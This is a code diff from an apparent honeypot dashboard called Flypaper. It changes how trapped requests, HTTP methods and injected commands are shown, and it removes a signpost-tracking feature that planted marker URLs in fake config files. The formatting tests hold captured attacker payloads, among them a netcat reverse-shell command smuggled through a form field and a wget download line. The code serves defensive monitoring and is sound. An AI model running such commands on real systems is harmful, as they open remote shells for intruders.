|
||||
_rules = await Explanations.GetRuleSetAsync();
|
||||
_data = await Queries.GetAsync();
|
||||
_recent = await Queries.GetRecentAsync(_filter.ToRecentFilter() with { SearchStrategies = StrategyNames.Matching(_filter.Q) });
|
||||
@@ -439,7 +423,7 @@
|
||||
new("countries", "Länder", "Land", data.TopCountries, f => f.Land, (f, key) => f with { Land = key }, ShowFlags: true, LabelFormatter: CountryNames.Display),
|
||||
new("providers", "Provider", "Provider", data.TopProviders, f => f.Provider, (f, key) => f with { Provider = key }),
|
||||
new("ips", "IPs", "IP", data.TopIps, f => f.Ip, (f, key) => f with { Ip = key }),
|
||||
new("targets", "Ziele", "Ziel", data.TopTargets, f => f.Ziel, (f, key) => f with { Ziel = key }, KeyFormatter: Formatting.Target),
|
||||
new("targets", "Aufrufe", "Aufgerufen", data.TopTargets, f => f.Ziel, (f, key) => f with { Ziel = key }, KeyFormatter: Formatting.CalledText, TitleFormatter: key => key),
|
||||
new("strategies", "Strategien", "Strategie", StrategyNames.Rank(data.StrategyCatches, 10), f => f.Strategie, (f, key) => f with { Strategie = key }, KeyFormatter: _ => "", LabelFormatter: (key, _) => StrategyNames.Display(key), TitleFormatter: key => StrategyNames.Describe(key).Tooltip, BadgesFormatter: key => StrategyNames.Describe(key).Badges)
|
||||
];
|
||||
|
||||
@@ -484,7 +468,7 @@
|
||||
|
||||
if (_filter.Ziel is { } ziel)
|
||||
{
|
||||
yield return ($"Ziel: {Formatting.Target(ziel)}", reset with { Ziel = null });
|
||||
yield return ($"Aufgerufen: {Formatting.CalledText(ziel)}", reset with { Ziel = null });
|
||||
}
|
||||
|
||||
if (_filter.Strategie is { } strategie)
|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
using System.Globalization;
|
||||
using System.Text.RegularExpressions;
|
||||
using Flypaper.Storage.Dashboard;
|
||||
|
||||
namespace Flypaper.Web.Components.Shared;
|
||||
|
||||
public static class Formatting
|
||||
public static partial class Formatting
|
||||
{
|
||||
public static readonly CultureInfo German = CultureInfo.GetCultureInfo("de-DE");
|
||||
|
||||
@@ -49,5 +51,46 @@ public static class Formatting
|
||||
: target;
|
||||
}
|
||||
|
||||
public static (string Text, string? Note, string? Method) Called(string? target)
|
||||
{
|
||||
if (RequestKey.Split(target) is not var (method, path))
|
||||
{
|
||||
return (target ?? "–", null, null);
|
||||
}
|
||||
|
||||
var note = method.ToUpperInvariant() switch
|
||||
{
|
||||
"GET" => null,
|
||||
"POST" => "schickt Daten",
|
||||
"HEAD" => "prüft nur, ob es das gibt",
|
||||
"OPTIONS" => "fragt, was erlaubt ist",
|
||||
_ => method
|
||||
};
|
||||
return (path == "/" ? "Startseite" : path, note, method);
|
||||
}
|
||||
|
||||
public static string CalledText(string? target)
|
||||
{
|
||||
var (text, note, _) = Called(target);
|
||||
return note is null ? text : $"{text} · {note}";
|
||||
}
|
||||
|
||||
public static string Server(string server)
|
||||
{
|
||||
var colon = server.LastIndexOf(':');
|
||||
return colon > 0 && server.AsSpan(colon + 1) is { Length: > 0 } port && !port.ContainsAnyExceptInRange('0', '9')
|
||||
? $"{server[..colon]}, Port {port}"
|
||||
: server;
|
||||
}
|
||||
|
||||
public static (string? Field, string Command) CommandParts(string command)
|
||||
{
|
||||
var match = FormField().Match(command);
|
||||
return match.Success ? (match.Groups[1].Value, command[match.Length..]) : (null, command);
|
||||
}
|
||||
|
||||
[GeneratedRegex(@"^([A-Za-z_][A-Za-z0-9_.-]{0,39})=(?!=)")]
|
||||
private static partial Regex FormField();
|
||||
|
||||
public static string? Provider(long? asn, string? provider) => asn is null ? provider : $"AS{asn} {provider}".TrimEnd();
|
||||
}
|
||||
@@ -4,7 +4,6 @@ using System.Globalization;
|
||||
using System.Net;
|
||||
using Flypaper.Core.Abstractions;
|
||||
using Flypaper.Core.Analysis;
|
||||
using Flypaper.Core.Strategies;
|
||||
using Flypaper.Storage.Queries;
|
||||
using Flypaper.Web.Components.Shared;
|
||||
using ModelContextProtocol;
|
||||
@@ -100,7 +99,7 @@ public sealed class FlypaperTools(CatchQueries queries, CommandQueries commands,
|
||||
}
|
||||
|
||||
[McpServerTool(Name = "list_catches", Title = "List catches", ReadOnly = true, Destructive = false, Idempotent = true, OpenWorld = false, UseStructuredContent = true)]
|
||||
[Description("Trap events, newest first, optionally filtered. Includes rejected connections (outcome Rejected). Fake files contain signpost URLs carrying the marker of the catch that served them: use marker to find that catch, and target_contains with the same value to find who followed them.")]
|
||||
[Description("Trap events, newest first, optionally filtered. Includes rejected connections (outcome Rejected).")]
|
||||
public async Task<CatchListResult> ListCatches(
|
||||
[Description("Only events that started at or after this ISO 8601 time, e.g. 2026-11-15T08:00:00Z.")] string? since = null,
|
||||
[Description("Only events that started before this ISO 8601 time.")] string? until = null,
|
||||
@@ -109,7 +108,6 @@ public sealed class FlypaperTools(CatchQueries queries, CommandQueries commands,
|
||||
[Description("Exact client IP address.")] string? ip = null,
|
||||
[Description("Case-insensitive text the request (method, host and path) must contain, e.g. .env.")] string? target_contains = null,
|
||||
[Description("Maximum number of events, 1 to 500.")] int limit = 50,
|
||||
[Description("12 hex characters taken from a signpost URL, e.g. 7f3a9c21b4e8: only the catch that handed out this signpost.")] string? marker = null,
|
||||
CancellationToken ct = default)
|
||||
{
|
||||
var filter = new CatchFilter(
|
||||
@@ -119,8 +117,7 @@ public sealed class FlypaperTools(CatchQueries queries, CommandQueries commands,
|
||||
provider,
|
||||
ip is null ? null : ParseIp(ip),
|
||||
target_contains,
|
||||
limit,
|
||||
marker is null ? null : ParseMarker(marker));
|
||||
limit);
|
||||
var catches = (await queries.ListAsync(filter, ct)).Select(ToItem).ToList();
|
||||
return new CatchListResult(catches.Count, catches);
|
||||
}
|
||||
@@ -223,14 +220,6 @@ public sealed class FlypaperTools(CatchQueries queries, CommandQueries commands,
|
||||
: throw new McpException($"{name} must be an ISO 8601 time, e.g. 2026-11-15T08:00:00Z.");
|
||||
}
|
||||
|
||||
private static string ParseMarker(string value)
|
||||
{
|
||||
var marker = value.Trim().ToLowerInvariant();
|
||||
return marker.Length == SignpostLinks.MarkerLength && marker.All(char.IsAsciiHexDigit)
|
||||
? marker
|
||||
: throw new McpException($"marker must be {SignpostLinks.MarkerLength} hex characters, e.g. 7f3a9c21b4e8.");
|
||||
}
|
||||
|
||||
private static string ParseIp(string value) =>
|
||||
IPAddress.TryParse(value.Trim(), out var address)
|
||||
? (address.IsIPv4MappedToIPv6 ? address.MapToIPv4() : address).ToString()
|
||||
@@ -255,6 +244,5 @@ public sealed class FlypaperTools(CatchQueries queries, CommandQueries commands,
|
||||
Asn(record.Asn),
|
||||
record.Provider,
|
||||
record.Target,
|
||||
record.UserAgent,
|
||||
record.Marker);
|
||||
record.UserAgent);
|
||||
}
|
||||
@@ -15,8 +15,7 @@ public sealed record CatchItem(
|
||||
string? Asn,
|
||||
string? Provider,
|
||||
string? Target,
|
||||
string? UserAgent,
|
||||
string Marker);
|
||||
string? UserAgent);
|
||||
|
||||
public sealed record CommandItem(
|
||||
string Command,
|
||||
|
||||
@@ -335,7 +335,7 @@ code {
|
||||
|
||||
.filters {
|
||||
display: grid;
|
||||
grid-template-columns: minmax(110px, 140px) minmax(120px, 150px) minmax(160px, 230px) minmax(180px, 1fr) auto;
|
||||
grid-template-columns: minmax(90px, 120px) minmax(100px, 140px) minmax(110px, 180px) minmax(100px, 150px) minmax(100px, 150px) minmax(150px, 1fr) auto;
|
||||
gap: 10px;
|
||||
align-items: end;
|
||||
margin-bottom: 12px;
|
||||
@@ -463,10 +463,6 @@ a.button:hover {
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.recent-table tr.open .extra-all {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.recent-table .c-time {
|
||||
width: 116px;
|
||||
}
|
||||
@@ -495,24 +491,12 @@ a.button:hover {
|
||||
width: 190px;
|
||||
}
|
||||
|
||||
.recent-table .extra {
|
||||
display: none;
|
||||
margin-top: 4px;
|
||||
color: var(--muted);
|
||||
font-family: system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
@media (max-width: 1199px) {
|
||||
.recent-table .c-provider,
|
||||
.recent-table .c-strategy,
|
||||
.recent-table .c-agent {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.recent-table tr.open .extra-md {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 899px) {
|
||||
@@ -521,10 +505,6 @@ a.button:hover {
|
||||
.recent-table .c-bytes {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.recent-table tr.open .extra-sm {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 599px) {
|
||||
@@ -540,10 +520,6 @@ a.button:hover {
|
||||
.recent-table .c-ip {
|
||||
width: 120px;
|
||||
}
|
||||
|
||||
.recent-table tr.open .extra-xs {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
|
||||
.scroll {
|
||||
@@ -1646,60 +1622,104 @@ button.danger-text {
|
||||
gap: 6px;
|
||||
}
|
||||
|
||||
.recent-table .explain {
|
||||
color: var(--text);
|
||||
#panel-targets .clip,
|
||||
#panel-targets .clip .mono {
|
||||
overflow: visible;
|
||||
white-space: normal;
|
||||
overflow-wrap: anywhere;
|
||||
}
|
||||
|
||||
.recent-table .explain p {
|
||||
margin: 2px 0 0;
|
||||
.method-note {
|
||||
color: var(--muted);
|
||||
font-family: system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
|
||||
font-size: 12px;
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.recent-table .explain .muted {
|
||||
.command-mark {
|
||||
margin-right: 6px;
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.recent-table .detail-row td {
|
||||
overflow: visible;
|
||||
white-space: normal;
|
||||
padding: 4px 8px 16px;
|
||||
background: color-mix(in srgb, var(--text) 4%, transparent);
|
||||
}
|
||||
|
||||
.catch-detail {
|
||||
max-width: 62rem;
|
||||
overflow-wrap: anywhere;
|
||||
}
|
||||
|
||||
.catch-detail h3 {
|
||||
margin: 10px 0 6px;
|
||||
font-size: 15px;
|
||||
}
|
||||
|
||||
.catch-detail h3.alert {
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.catch-detail p {
|
||||
margin: 0 0 4px;
|
||||
font-size: 14px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.catch-detail .facts {
|
||||
display: grid;
|
||||
grid-template-columns: max-content minmax(0, 1fr);
|
||||
gap: 6px 16px;
|
||||
margin: 12px 0;
|
||||
}
|
||||
|
||||
.catch-detail .facts dt {
|
||||
color: var(--muted);
|
||||
}
|
||||
|
||||
.recent-table .request {
|
||||
color: var(--text);
|
||||
white-space: normal;
|
||||
cursor: auto;
|
||||
.catch-detail .facts dd {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.recent-table .request .muted {
|
||||
.catch-detail code {
|
||||
display: inline-block;
|
||||
margin-right: 10px;
|
||||
padding: 2px 8px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 4px;
|
||||
background: var(--surface);
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.catch-detail summary {
|
||||
margin-top: 8px;
|
||||
color: var(--muted);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.recent-table .request pre {
|
||||
margin: 2px 0 6px;
|
||||
.catch-detail .request pre {
|
||||
margin: 2px 0 8px;
|
||||
padding: 8px 10px;
|
||||
max-height: 18em;
|
||||
overflow: auto;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 4px;
|
||||
background: var(--surface);
|
||||
font-size: 12px;
|
||||
white-space: pre-wrap;
|
||||
overflow-wrap: anywhere;
|
||||
}
|
||||
|
||||
.command-card .card-head a {
|
||||
text-decoration: none;
|
||||
@media (max-width: 599px) {
|
||||
.catch-detail .facts {
|
||||
grid-template-columns: minmax(0, 1fr);
|
||||
gap: 2px;
|
||||
}
|
||||
|
||||
.command-table td {
|
||||
vertical-align: top;
|
||||
.catch-detail .facts dd {
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.command-text {
|
||||
white-space: pre-wrap;
|
||||
overflow-wrap: anywhere;
|
||||
}
|
||||
|
||||
.command-badge {
|
||||
margin: 0 6px 0 0;
|
||||
border: 1px solid currentColor;
|
||||
color: var(--accent);
|
||||
font-family: inherit;
|
||||
}
|
||||
|
||||
.recent-table .command-found {
|
||||
color: var(--text);
|
||||
white-space: normal;
|
||||
}
|
||||
|
||||
.inline-form {
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
};
|
||||
|
||||
const showRequest = async row => {
|
||||
const holder = row.querySelector("[data-request]");
|
||||
const holder = row.nextElementSibling?.querySelector("[data-request]");
|
||||
if (!holder || holder.dataset.loaded) {
|
||||
return;
|
||||
}
|
||||
@@ -51,6 +51,16 @@
|
||||
}
|
||||
};
|
||||
|
||||
const fitDetail = row => {
|
||||
const headers = row.closest("table")?.tHead?.rows[0].cells;
|
||||
const cell = row.nextElementSibling?.cells[0];
|
||||
if (headers && cell) {
|
||||
cell.colSpan = [...headers].filter(header => header.offsetParent !== null).length || headers.length;
|
||||
}
|
||||
};
|
||||
|
||||
globalThis.addEventListener?.("resize", () => document.querySelectorAll("tr[data-expand]").forEach(fitDetail));
|
||||
|
||||
const stored = load();
|
||||
const expanded = new Set();
|
||||
|
||||
@@ -60,6 +70,11 @@
|
||||
const apply = open => {
|
||||
row.classList.toggle("open", open);
|
||||
row.setAttribute("aria-expanded", String(open));
|
||||
const detail = row.nextElementSibling;
|
||||
if (detail) {
|
||||
detail.hidden = !open;
|
||||
fitDetail(row);
|
||||
}
|
||||
open ? expanded.add(key) : expanded.delete(key);
|
||||
if (open) {
|
||||
showRequest(row);
|
||||
@@ -73,8 +88,8 @@
|
||||
|
||||
apply(stored.has(key));
|
||||
|
||||
row.addEventListener("click", event => {
|
||||
if (event.target.closest("[data-request]") || !window.getSelection()?.isCollapsed) {
|
||||
row.addEventListener("click", () => {
|
||||
if (!window.getSelection()?.isCollapsed) {
|
||||
return;
|
||||
}
|
||||
toggle();
|
||||
@@ -88,6 +103,19 @@
|
||||
});
|
||||
}
|
||||
|
||||
for (const details of document.querySelectorAll("details[data-remember]")) {
|
||||
const key = details.dataset.remember;
|
||||
if (stored.has(key)) {
|
||||
details.open = true;
|
||||
expanded.add(key);
|
||||
}
|
||||
|
||||
details.addEventListener("toggle", () => {
|
||||
details.open ? expanded.add(key) : expanded.delete(key);
|
||||
save(expanded);
|
||||
});
|
||||
}
|
||||
|
||||
save(expanded);
|
||||
})();
|
||||
|
||||
|
||||
@@ -68,7 +68,7 @@ public sealed class FileContentTests
|
||||
{
|
||||
var profile = FileContent.Match(path).ShouldNotBeNull();
|
||||
|
||||
var text = string.Concat(profile.Generate(new SeededRandomSource(5), null).Take(200));
|
||||
var text = string.Concat(profile.Generate(new SeededRandomSource(5)).Take(200));
|
||||
|
||||
text.ShouldStartWith(start);
|
||||
text.Length.ShouldBeGreaterThan(1000);
|
||||
|
||||
@@ -1,87 +0,0 @@
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using Flypaper.Core.Strategies;
|
||||
using Flypaper.Tests.Fakes;
|
||||
using Shouldly;
|
||||
|
||||
namespace Flypaper.Tests.Core;
|
||||
|
||||
public sealed class SignpostTests
|
||||
{
|
||||
[Theory]
|
||||
[InlineData("env-drip", "BACKUP_URL=http://trap.example/backup/db-{m}.sql")]
|
||||
[InlineData("env-drip", "ADMIN_URL=http://trap.example/admin-{m}/")]
|
||||
[InlineData("env-drip", "CONFIG_URL=http://trap.example/storage/settings-{m}.json")]
|
||||
[InlineData("json-drip", "\"backup_url\": \"http://trap.example/backup/db-{m}.sql\"")]
|
||||
[InlineData("yaml-drip", "backup_url: http://trap.example/backup/db-{m}.sql")]
|
||||
[InlineData("sql-drip", "-- Previous full dump: http://trap.example/backup/db-{m}.sql")]
|
||||
[InlineData("git-drip", "url = http://trap.example/git-{m}/portal.git")]
|
||||
public async Task Signposts_arrive_with_the_undelayed_head_and_carry_the_session_marker(string strategy, string expected)
|
||||
{
|
||||
var (head, channel) = await HeadAsync(strategy, "trap.example");
|
||||
|
||||
head.ShouldContain(expected.Replace("{m}", SignpostLinks.MarkerOf(channel.Session.Id)));
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData(null)]
|
||||
[InlineData("[::1]")]
|
||||
[InlineData("_")]
|
||||
[InlineData("bad host\n")]
|
||||
public async Task Unusable_hosts_give_relative_signposts(string? host)
|
||||
{
|
||||
var (head, channel) = await HeadAsync("env-drip", host);
|
||||
|
||||
head.ShouldContain($"BACKUP_URL=/backup/db-{SignpostLinks.MarkerOf(channel.Session.Id)}.sql");
|
||||
head.ShouldContain("APP_URL=https://example.com");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("env-drip")]
|
||||
[InlineData("json-drip")]
|
||||
[InlineData("yaml-drip")]
|
||||
[InlineData("sql-drip")]
|
||||
[InlineData("git-drip")]
|
||||
public async Task Switch_removes_the_signposts(string strategy)
|
||||
{
|
||||
var (head, channel) = await HeadAsync(strategy, "trap.example", signposts: false);
|
||||
|
||||
head.ShouldNotContain(SignpostLinks.MarkerOf(channel.Session.Id));
|
||||
head.ShouldNotContain("trap.example");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Json_with_signposts_stays_well_formed()
|
||||
{
|
||||
var profile = FileContent.Profiles.First(p => p.Name == "json-drip");
|
||||
var links = new SignpostLinks("http://trap.example", "7f3a9c21b4e8");
|
||||
var text = string.Concat(profile.Generate(new SeededRandomSource(5), links).Take(5)).TrimEnd().TrimEnd(',') + "]}";
|
||||
|
||||
using var document = JsonDocument.Parse(text);
|
||||
|
||||
document.RootElement.GetProperty("api_base").GetString().ShouldBe("http://trap.example/storage/settings-7f3a9c21b4e8.json");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("/backup/db-7f3a9c21b4e8.sql", "sql-drip")]
|
||||
[InlineData("/storage/settings-7f3a9c21b4e8.json", "json-drip")]
|
||||
public void Followed_signposts_lead_to_the_next_fake_file(string path, string strategy) =>
|
||||
FileContent.Match(path).ShouldNotBeNull().Name.ShouldBe(strategy);
|
||||
|
||||
private static async Task<(string Head, FakeTrapChannel Channel)> HeadAsync(string strategy, string? host, bool signposts = true)
|
||||
{
|
||||
var options = TestOptions.Monitor(new DripOptions
|
||||
{
|
||||
Signposts = signposts,
|
||||
MinDelay = TimeSpan.FromSeconds(30),
|
||||
MaxDelay = TimeSpan.FromSeconds(30)
|
||||
});
|
||||
var drip = new FileDripStrategy(FileContent.Profiles.First(p => p.Name == strategy), options, new SeededRandomSource(3), TimeProvider.System);
|
||||
var channel = new FakeTrapChannel { Host = host };
|
||||
using var cts = new CancellationTokenSource(TimeSpan.FromMilliseconds(100));
|
||||
|
||||
await Should.ThrowAsync<OperationCanceledException>(() => drip.RunAsync(channel, cts.Token));
|
||||
|
||||
return (Encoding.UTF8.GetString(channel.Writes.First()), channel);
|
||||
}
|
||||
}
|
||||
@@ -49,18 +49,6 @@ public sealed class FlypaperToolsTests : IDisposable
|
||||
[Fact]
|
||||
public void List_active_is_empty_without_traps() => _tools.ListActive().Count.ShouldBe(0);
|
||||
|
||||
[Fact]
|
||||
public async Task List_catches_finds_the_catch_behind_a_signpost_marker()
|
||||
{
|
||||
var origin = (await _tools.ListCatches()).Catches[2];
|
||||
|
||||
var found = await _tools.ListCatches(marker: origin.Marker.ToUpperInvariant());
|
||||
|
||||
origin.Marker.Length.ShouldBe(12);
|
||||
found.Catches.ShouldHaveSingleItem().Id.ShouldBe(origin.Id);
|
||||
await Should.ThrowAsync<McpException>(() => _tools.ListCatches(marker: "not-a-marker"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Get_stats_summarizes_the_period()
|
||||
{
|
||||
|
||||
@@ -49,6 +49,28 @@ public sealed class RecentCatchesTests : IDisposable
|
||||
recent.Total.ShouldBe(expected);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task A_call_is_counted_and_filtered_across_all_requested_hosts()
|
||||
{
|
||||
using (var db = _data.Factory.CreateDbContext())
|
||||
{
|
||||
foreach (var target in new[] { "OPTIONS a.example/", "OPTIONS 192.0.2.1:8080/", "OPTIONS b.example/sub/", "OPTIONS b.example/?x=/" })
|
||||
{
|
||||
var started = McpTestData.Now.AddMinutes(-5);
|
||||
db.TrapEvents.Add(TrapEventEntity.From(new TrapEvent(
|
||||
Guid.NewGuid(), TrapProtocol.Http, IPAddress.Parse("203.0.113.77"), "maze-drip", started, started.AddSeconds(1), 1, TrapOutcome.ClientAborted, target, null)));
|
||||
}
|
||||
|
||||
db.SaveChanges();
|
||||
}
|
||||
|
||||
var top = (await _queries.GetAsync()).TopTargets;
|
||||
|
||||
top.Single(e => e.Key == "OPTIONS /").Count.ShouldBe(2);
|
||||
(await _queries.GetRecentAsync(new RecentFilter(Target: "OPTIONS /"))).Total.ShouldBe(2);
|
||||
(await _queries.GetRecentAsync(new RecentFilter(Target: "OPTIONS a.example/"))).Total.ShouldBe(1);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Unexplained_filter_keeps_only_targets_without_an_enabled_target_rule()
|
||||
{
|
||||
|
||||
@@ -14,4 +14,31 @@ public sealed class FormattingTests
|
||||
[InlineData(null, null)]
|
||||
public void Shows_missing_host_explicitly(string? target, string? expected) =>
|
||||
Formatting.Target(target).ShouldBe(expected);
|
||||
|
||||
[Theory]
|
||||
[InlineData("GET 192.0.2.1/", "Startseite", null)]
|
||||
[InlineData("GET example.com:8080/.env", "/.env", null)]
|
||||
[InlineData("GET /?a=/b", "/?a=/b", null)]
|
||||
[InlineData("OPTIONS h/", "Startseite", "fragt, was erlaubt ist")]
|
||||
[InlineData("HEAD h/www.zip", "/www.zip", "prüft nur, ob es das gibt")]
|
||||
[InlineData("POST h/wp-login.php", "/wp-login.php", "schickt Daten")]
|
||||
[InlineData("PROPFIND h/", "Startseite", "PROPFIND")]
|
||||
public void Describes_what_was_called_without_the_host(string target, string text, string? note)
|
||||
{
|
||||
var called = Formatting.Called(target);
|
||||
|
||||
called.Text.ShouldBe(text);
|
||||
called.Note.ShouldBe(note);
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("192.0.2.7:4545", "192.0.2.7, Port 4545")]
|
||||
[InlineData("bad.example", "bad.example")]
|
||||
public void Names_the_port_of_a_server(string server, string expected) => Formatting.Server(server).ShouldBe(expected);
|
||||
|
||||
[Theory]
|
||||
[InlineData("sysCmd=nc 192.0.2.7 4545|sh", "sysCmd", "nc 192.0.2.7 4545|sh")]
|
||||
[InlineData("wget http://192.0.2.9/a?x=1", null, "wget http://192.0.2.9/a?x=1")]
|
||||
public void Splits_the_form_field_from_the_command(string command, string? field, string text) =>
|
||||
Formatting.CommandParts(command).ShouldBe((field, text));
|
||||
}
|
||||
@@ -45,9 +45,12 @@ public sealed partial class RequestViewTests : IDisposable
|
||||
json.RootElement.GetProperty("headers").GetString().ShouldNotBeNull().ShouldContain("Host: x");
|
||||
|
||||
var page = await client.GetStringAsync("/");
|
||||
page.ShouldContain("Eingeschleuste Befehle");
|
||||
page.ShouldContain("192[.]0[.]2[.]7:4545");
|
||||
page.ShouldNotContain("192.0.2.7");
|
||||
page.ShouldNotContain("trapEvent.Target");
|
||||
page.ShouldContain("schickt Daten");
|
||||
page.ShouldContain("192.0.2.7, Port 4545");
|
||||
page.ShouldContain("Fremder Server");
|
||||
page.ShouldContain("nc 192.0.2.7 4545|sh");
|
||||
page.ShouldContain("eingeschleust über das Feld");
|
||||
(await client.GetStringAsync("/?befehl=ja")).ShouldContain($"event:{withCommand}");
|
||||
page.ShouldContain($"data-request=\"catches/{withRequest}/request\"");
|
||||
page.ShouldNotContain("<script>alert(1)</script>");
|
||||
|
||||
Reference in new issue
Block a user